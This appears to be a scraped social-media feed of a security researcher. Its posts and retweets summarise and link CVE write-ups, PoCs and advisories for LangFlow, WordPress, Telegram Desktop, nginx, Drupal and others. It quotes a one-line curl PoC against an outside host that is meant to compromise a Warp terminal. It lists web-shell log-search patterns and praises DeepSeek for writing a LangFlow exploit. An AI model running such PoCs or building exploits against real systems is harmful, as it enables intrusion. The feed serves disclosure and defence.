@_r00tuser

security researcher && cissp holder

r00tuser111.github.io/
Joined November 2016
  • Tweets435
  • Following470
  • Followers764
74Media
#CVE-2025-3248 #DeepSeek 在复现LangFlow 的代码执行漏洞，直接把出现漏洞的代码丢给DeepSeek，它成功构造出了漏洞利用代码，甚至还能帮你构造一个回显的POC。👍👍 github.com/langflow-ai/langf…
2
35
7
152
44,152
🔴 CVE-2026-107181 | Telegram Desktop Account Takeover Telegram Desktop 7.2.9 öncesi sürümler, tg:// bağlantıları üzerinden tetiklenebilen IPC record injection açığından etkileniyor. Saldırgan, özel hazırlanmış bağlantılarla tdata oturum anahtarlarını dışarı aktararak hesap ele geçirebilir. 🔹 CVSS 4.0: 8.6 (High) 🔹 Kimlik doğrulama gerekmiyor 🔹 Kullanıcı etkileşimi gerekiyor 🔹 Çözüm: Telegram Desktop 7.2.9+ Write-up: beaksec.github.io/posts/tele…

Telegram Desktop: one-click account takeover via IPC injection

An unescaped separator in Telegram Desktop’s single-instance IPC lets one clicked link read arbitrary files off the disk and send them to the attacker, session files included.

beaksec.github.io
1
11
62
3,701
CVE-2026-102489 Deep-Dive: Zammad Session Leak to RCE horizon3.ai/attack-research/…

CVE-2026-102489: Zammad Session Leak to RCE

See how Horizon3 reverse engineered CVE-2026-102489 in Zammad, reproduced the session leak, hijacked an admin session, and achieved remote code execution.

horizon3.ai
4
20
5,174
我发现主流的Git和Svn泄露利用工具存在极大的安全漏洞。 服务器可以构造恶意的文件名，利用路径穿越漏洞反制黑客，如果幸运的话可以拿到黑客电脑的权限。 经过测试，市面上公开的工具几乎*全军覆没* 详细的分析和POC生成方法以及测试结果已发在我的blog中↓ drivertom.blogspot.com/2021/…
22
141
12
693
deepseek harness 别反代到公网，都成跑马场了。github.com/deepseek-ai/deeps…
341
conteúdos que leio que melhoraram MUITO meu bug Bounty/Pentest melhores reports reunidos por um hacker ref no Brasil: bugbountydaily.com/ pensamento MUITO fora da caixa, absurdo: samcurry.net/ roadmap e dicas: matheuslaidler.github.io/ (xitter.cf/matheuslaidler)
10
93
2
702
23,634
vBulletin Runtime Template runMaths Preauth RCE ssd-disclosure.com/vbulletin…

vBulletin Runtime Template runMaths Preauth RCE - SSD Secure Disclosure

Summary A vulnerability in vBulletin has been identified, the vulnerability allows an unauthenticated user to cause the vBulletin to execute arbitrary code (PHP) on the remote server. Vendor Response...

ssd-disclosure.com
2
14
5,146
Someone has assigned a CVE number to this vulnerability: CVE-2026-9198 ibm.com/support/pages/node/7…
kking@_r00tuserApr 3
In fact, under the default configuration (`auto_login=true`), combining this with CVE-2025-3428 allows for attacks against all current versions of Langflow.
212
kking retweeted
0xSha
@0xshaJul 18
updates : github.com/0xsha/wp2shell

GitHub - 0xsha/wp2shell: CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in...

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in WordPress core - 0xsha/wp2shell

github.com
6
1
33
12,454
patch your wordpress. cve-2026-63030 is a pre-auth rce via sql injection. 6.8.5 and below: not affected 6.9.0–6.9.4: affected 7.0.0–7.0.1: affected props to our friends at @assetnote for the crazy find
5
56
3
307
40,109
We're back, analyzing CVE-2026-8037, a pre-auth RCE in Progress' Kemp LoadMaster appliance. labs.watchtowr.com/enterpris… Speak soon...

Enterprise Tech In, Shell Out (Progress Kemp LoadMaster Uninitialized Heap to Pre-Auth RCE CVE-20...

Welcome back to another watchTowr Labs blog post. This time, we're looking at Progress Kemp LoadMaster, a load balancer that sits at the edge of a lot of enterprise networks. Edge appliances have a...

labs.watchtowr.com
3
36
100
8,437
Searching for `?developer_api1_fm (web shell)`,` developer_api1_eval (code execution)` in the logs can quickly help analyze whether the system is affected patchstack.com/articles/supp…
132
kking retweeted
s1r1us
@S1r1u5_Jun 12
TUIs getting stronger only means they’re also making it fun to hack. @warpdotdev terminal RCE by @rootxharsh and @HacktronAI PoC: run this in warp terminal and get pwned. curl htxp://rce.ee/warp-pwn.php Details below:
4
3
1
67
7,787
kking retweeted
Brute
@BRuteLogicJun 8
JWT Auth Bypass TestBed 403.brutelogic.net/authz/jwt Test your skills: 18 main tests with variations. A proprietary tool with 40+ techniques for Brute One will be available this week to spot all these cases in the wild in a matter of seconds. brutelogic.net/brute-one
1
117
1
643
30,969
When reproducing the issue using Drupal 10.6.8, it was found that error echoing was disabled by default in production mode, which meant that scanning and verification might not need to match more keywords, leading to missed detections.
shubs
@infosec_auMay 21
We recently analyzed Drupal's security advisory (SA-CORE-2026-004 & CVE-2026-9082). This pre-auth SQLi only affects Drupal with Postgres as a db backend. Our research team at @SLCyberSec have published a writeup here: slcyber.io/research-center/k…
247
kking retweeted
Aretiq.AI
@AretiqAIMay 20
New N-day research: CVE-2026-45434 — Apache OFBiz Authentication Bypass → RCE A single HTTP request bypasses forced password-change restrictions and achieves OS command execution. Full analysis, detection rules, and PoC: aretiq.ai/research/3
19
1
51
18,829
people are too busy in exploring chrome, kernel and other oss CVEs, meanwhile a DOMPurify bypass was silently dropped 👀 github.com/cure53/DOMPurify/…
3
94
3
584
31,661
Introducing nginx-poolslip, a fresh RCE for the the latest nginx release 1.31.0. nginx-rift has been patched, but our security agent Vega has found a new 0 day. We will release the full technical writeup with ASLR bypass 30 days after the patch on nebusec.ai.
28
255
48
1,380
490,669
Supply chain attacks are becoming more and more common.
TANSTACK
@tan_stackMay 11
Replying to @tan_stack @TansTack
Github Security Advisory: github.com/TanStack/router/s…

Malware in 42 @tanstack/* packages exfiltrates cloud credentials, GitHub tokens, and SSH keys

## Summary On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 `@tanstack/*` packages were published to the npm registry. The publishes were authenticated v...

github.com
126
The Internet is falling down, falling down, falling down Welcome back to another disaster - this time, an Auth Bypass in cPanel/WHM, tracked as CVE-2026-41940 Enjoy with us.. labs.watchtowr.com/the-inter…

The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass...

Hello! Yes, it's all a disaster again! Let's get this party started: 0:00 /0:12 1× No comments today, so imagine this: * We wrote something that we find very funny, * Nobody else gets it, * But...

labs.watchtowr.com
11
175
18
615
154,572
In fact, under the default configuration (`auto_login=true`), combining this with CVE-2025-3428 allows for attacks against all current versions of Langflow.
Dark Web Informer
@DarkWebInformerApr 2
‼️ CVE-2026-5027: Langflow Path Traversal to Remote Code Execution PoC CVSS: 8.8 GitHub: github.com/yahiahamza/CVE-20…
1
1
655
Load more